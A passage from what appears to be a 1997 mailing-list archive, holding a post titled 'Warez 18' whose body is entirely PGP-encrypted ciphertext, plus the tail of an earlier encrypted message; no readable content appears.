lTiNXxiGcuBZ07sADDveDWTZbJFm7mlXQCrh9md/pZXZoxBgC+VeJnzNJnz+yXsm
fTPyCxjLEH5S0p2OUzTAA2SM6bjI148CZw3z3VlHrt4RuttvxiHLAZuhzFLOCsPr
w5+YtT3P3ZqupZu+4Dcil/6xJ/f3uliwudE2y5Bw/hysNYwTvYjBN0JKNho9EUL2
rV1puEv/fXEULoAIj3ztMpMCWwqheDobhb68JVbQmMcFjkc8zxiIo3hfq7HUfMk2
LtZzOJ8Yghx2DIQ6bqsXR66nfHFcicZ0Sfdy6lNK5wTTGzCJLKq8zwxJt+goaBtB
vMzdwsjN2CElivBmTYZpjjMRCKum4QKJmC+otaA1iyD5YaKabz7E+8f5XJ6o0SKj
FhA4AnA3juNzzVDhWFtAteMgNehQiNVgbXc4McGAXzltrC+3K07ImE//Nh+hqQhc
FZLyDHtURx5genJN7sEeaoQ1z/ShpnvK+Dl7KHomriOTLp7wkv8AGGjSfOwI7g2T
hsSCAzSAT8yA+lYUmfE8VWLRefJtSP5AKW6Ukg8jkjAyNWFnicm27DAvb3xLgXuK
FcyXObQ4MlwJMGERV8xDuLyshQu0i9y0AL0mMpzIVCvhbxI5w8adA4FH6790nV9r
udlkbEH2PlTIwHGNX/2we2LFOcv3cYOhCH680qPxskMqfDDJ5apfZk0Xm02Sw6zx
zJ/KZp0g2pNQxrsjSK73ohz7C9lGjOj7ydhPy7cbvgipBhNgM1N5X1wtmaXVHmMz
lFTSBbMtpVA55uJZ4TJh7v/mr1Asf1/YnW61T/tSdMNrk2QjjEgT9gxwa5LpH310
kHrHXFj9+32XrCp02SXt/nm4+6PnEf5KNQ96
=o1Rl
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:42:52 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:42:52 +0800
Subject: Warez 18
Message-ID: <199712180834.AAA16187@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7P4hzF1ZehgTuR9nDkWi4Mg0CDd79Z5i1oUu+DDVDBWYF51J
bo+Lhn8PcOblfSSJJFvfl63xXIyE9skq9wm3Uar+uFo3X6m+P+R6oyByj2FqciMQ
Mx/7StISUcPmbQGHuWsTuLBbs/A/Puap+GExmo5egqM2xSritkMo7mosrKz7Kr68
A0Xy78N8WRkH9IpEWGZx9HgFDmL9204ge4t3fIYz63ge//qHyzmahuyWNtUCwtNR
XkcLkagoQEaVEmeXyjXRzIINvN4ITKKlhnQykC7RrnAsV+uMaVtjYELYn7OYkwd9
EMYgMIEZHR3wEEk0zD+7Dh8hMocQXJb7lc8g6v8j34H1A1yu9HcjqfLjBBnbsYuI
rSDPzFS6O+zHYzjykuyHJz3s7CuZjwlAeGRpglE+mwfE41fG7aPNYAktLcuFh0QE
LaK6ugqGMxfR/Bp1/VRMrHiufF7uIa7Tq1q0199WGubhsxErh2dis9ucQNAn7OV5
WeMWi2u8aFVCbQJ1dBePyN1X/OZKtcWMgm71A3Qcwhc0UVe0lYLCcJOkkcM4CVRu
FQb7rBCF+BGyHdR6eWaHWLhHdh+5BEa6+bIFlEID3w3pnA3+kZRAN6o8hG+lazTa
HXdaOoafSbZc8DSkTLGIwZpB2ovDvsAC9z+o9Uf8xcdVTZ/qq0/Nrp81mGpUAXF0
5XuTKC4XnUNarHxO8LM7IzlJzK1jOT1LIqmxTgjcVY1I8oMkgeR5379wvMm501gd
ocaZVCD6nxfbmq3AB5Rt75VMv9NGjK8LHxwzixxygUWDVW/MwAkxn4ASqX6qvBYy
7UrKHttxIfHKrNY4G1JoU+/c4Zd4zLWMLWmdOTr/amGFbgLvaLghmvuM2pqbnZ5E
i//q6AaPMJtTB9RqXSZj+mzMNSOMDqmMeSnMSWlTivvIInzjreiIGgSw0w4eY3HT
OqQiW53jAWgwfXpaPwkhl31qLXNUl8iVZcsefQHrQ0JIf3KIOciJ7k0+0uX93hLU
CnCLl+qNnvN4OXVLHEqDN3CBM6p1GE8GEJ7eYOu3qDDc9UBQcPeSvAKsWkWI/t3c
fW+mYtMf/SACYVMcPEjoz/tJVkvqou9556eklOCcVzBVCnKyoaeB/AXqlIgT+7dD
mUd0Z5Tk0GIZuyeOdb04lJWm7kiLvbMv2YMe4k17vUGtqnpiHja2ATAgOOdGr9Om
QJoVycuqvxTPctBvHFC2bp5QuU+TmQsRKFUqIvlrDIh8W2p2I2DZaio6uezQukFI
db9fYSdcknB8t0LFn77tMuV2fA3mzAlmzpGHG+VbJ2CA1+28uuXw2/BwT2DrbVFU
2oysUdrI3CjfydgmyTK0m11pICBU+9WWpn5gCSbm7ECgGSfU8VZgQL5MnCgejO8x
GLRDNF1/9mbgcbvruQDBsy4Sg2Ln7Dkf1+fDgmVgEJGQFt4PGpRDu8/ZOHL/0c3m
ZfwUhuQWKRI1dfeczDSNd5K9gkRxrJUpoffQvZI3YtTCFv/ySQcRhTb3agMELprn
msrjRdooUtQvGCqKxcMbH1ugc6RzU+1bL35pDtiQWrDJ2O1/8/N7/IjsEbr/vUoQ
OIlXtZd0PkS5QNlBBIPiGmFMI9Sp9z1ERVFpTnK2CDR8SY1dAoZNlUfCPFoE78Zu
lWdBmrRsOPHvLLHyw8AwPlglOhWxPHpDtolpNlhfMq5ryo3wTr3Z7+RUKCrx2nKP
iRfMRrrcPl/BQATBzAXTKxDanZj8ZdknHQwZu09+qjhdcP5xlwFZ+muRHCDkgCH1
HB9Nb3s5IeQXR+qBJXJM1Kd8hJkDKQjs2jQr/oxbkl2za5SkgrnSfU/zFcZZS5vi
KzqGM/CbYVLD+VlY5F8Ew9KTVktFQPe0sMl92BkLeSRZ5HTS+jg2sdLSmnYSmAOB
7rrnaK1zqIn+rMukiVlM/6ksRC8VhSGNR39bDuWph4Cq69S2X7waK1233jxg+N63
hV18WgcjWwlelI+KQ5l5WxY5Sp0W62Ri+oiUf5CWEi2r/FlqGwgtKRVpiceSm7ug
JepQOVKX2g5IIxdbe0lU0iZZE7nFc/h0ZaXumYjnP+M71nHqhmuP6Pxq0h2XVDd3
Zgu8tBOAmytVSsSp/+ZUT1sIwi7pRx1EJkjKrE+Im6wHLXiyXQzK2g7cxza6ZRUC
KLrLyCguyeiTgjLp4/4HZv0KEQDJ4lFAbdKsxHhzT+IIuwpvrrW98I045IZFcodp
6Mr1j/pa/e3QsN/TxbLIaYhLL9A5kctR3Hdt+IqlVDaZu6bZnuH3DfjL7IpCXcCK
TB1+nJgX/yNAQMxH6MUgmLHziFujoRRNzpS5qmM+5byYDfvO1qwqH0D3GaGipXdv
zHrLp+qPFlF6fv2gTuZubyr0sUnZn0EujO4H+lzYETiRSmL42TcyWYOVa3+WO3LH
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
